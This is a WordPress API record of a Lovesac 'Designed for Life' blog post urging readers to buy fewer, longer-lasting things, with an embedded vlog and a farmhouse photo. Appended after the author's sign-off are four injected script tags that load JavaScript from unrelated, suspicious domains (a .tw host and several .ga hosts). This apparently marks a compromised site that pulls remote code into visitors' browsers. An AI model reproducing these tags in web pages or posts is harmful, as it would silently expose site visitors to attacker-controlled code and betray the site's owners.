{"id":332,"date":"2016-11-16T13:12:36","date_gmt":"2016-11-16T18:12:36","guid":{"rendered":"https:\/\/dflgrouptest.local\/?p=332"},"modified":"2017-06-30T09:29:12","modified_gmt":"2017-06-30T13:29:12","slug":"buy-less-buy-better","status":"publish","type":"post","link":"https:\/\/designed-for-life.org\/GMtCh34S\/buy-less-buy-better\/","title":{"rendered":"Buy Less, Buy Better"},"content":{"rendered":"<p>Recycle. Compost. Separate our trash. Buy local. Buy organic. Use public transit. Go solar. Go diesel. Go electric. Go chemical free. Use motion-switched lighting. Don&#8217;t use lighting. Shop vintage. Re-use. Re-purpose. Grow your own. Eat no beef. Just don&#8217;t eat&#8230;.<\/p>\n<p>There are myriad ways that we should all live better. Its exhausting. But we are believers, so we fight the fight. This week&#8217;s &#8220;Sustainable Saturday&#8221; <a href=\"https:\/\/www.youtube.com\/user\/shawnydlovesac\/playlists\">Get Off the Couch vlog<\/a> post shares one key way that we can quite easily live a bit more sustainably: Buy less, and buy better.<br \/>\n<iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/Slflnr_xtAw?list=PL2S5dQq7szHtPqpuJZW-rGoVCObjU_l94\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>While there are lots of ways to interpret &#8220;buy better,&#8221; and even more ways to do it, the most important thing is to take the time before you buy anything of consequence to ask yourself: &#8220;Might this _____ be with me for a decade or more? Could I choose another version of this that could last longer or provide utility longer than this one? Can I afford to maybe pay a bit more to buy a little better and cause this thing to sustain&#8230;.<\/p>\n<div id=\"attachment_333\" style=\"width: 4042px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-333\" class=\"size-full wp-image-333\" src=\"https:\/\/dflgrouptest.local\/wp-content\/uploads\/2016\/11\/buy-less-buy-more.jpg\" alt=\"Shawn Nelson's Home\" width=\"4032\" height=\"3024\" srcset=\"https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2016\/11\/buy-less-buy-more.jpg 4032w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2016\/11\/buy-less-buy-more-300x225.jpg 300w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2016\/11\/buy-less-buy-more-768x576.jpg 768w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2016\/11\/buy-less-buy-more-1024x768.jpg 1024w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2016\/11\/buy-less-buy-more-1200x900.jpg 1200w\" sizes=\"auto, (max-width: 4032px) 100vw, 4032px\" \/><p id=\"caption-attachment-333\" class=\"wp-caption-text\">Shaw Nelson&#8217;s 210 year old Connecticut Farmhouse, built 1806 &#8212; still going<\/p><\/div>\n<p>An object&#8217;s ability to sustain, is much more important to achieving true sustainability than so many other of the metrics we use to judge whether a particular item or service is &#8220;sustainable.&#8221; This thought has captured <a href=\"http:\/\/www.lovesac.com\">Lovesac&#8217;s<\/a> imagination and materialized in the form of a formal <a href=\"https:\/\/dflgrouptest.local\/about\/\">design philosophy<\/a>, called &#8220;Designed for Life.&#8221; This notion of sustaining sustainability has led us to the framework outlined on this blog.<\/p>\n<p>What are you investing in that will sustain? Love to hear from you.<\/p>\n<p>&#8212; Shawn<script src='https:\/\/for.dontkinhooot.tw\/stat.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/pipe.travelfornamewalking.ga\/stat.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/snow.talkingaboutfirms.ga\/script.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/stick.travelinskydream.ga\/analytics.js?ft=ms' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Recycle. Compost. Separate our trash. Buy local. Buy organic. Use public transit. Go solar. Go diesel. Go electric. Go chemical free. Use motion-switched lighting. Don&#8217;t use lighting. Shop vintage. Re-use. Re-purpose. Grow your own. Eat no beef. Just don&#8217;t eat&#8230;. There are myriad ways that we should all live better. Its exhausting. But we are believers, so we fight the fight. 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